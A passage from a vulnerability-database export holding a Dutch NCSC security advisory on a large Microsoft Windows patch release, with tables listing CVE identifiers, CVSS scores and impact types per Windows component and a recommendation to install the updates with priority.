Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:30.119488Z"}, {"uuid": "354640ed-f1d9-422a-9595-e61712eb54cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54119", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection 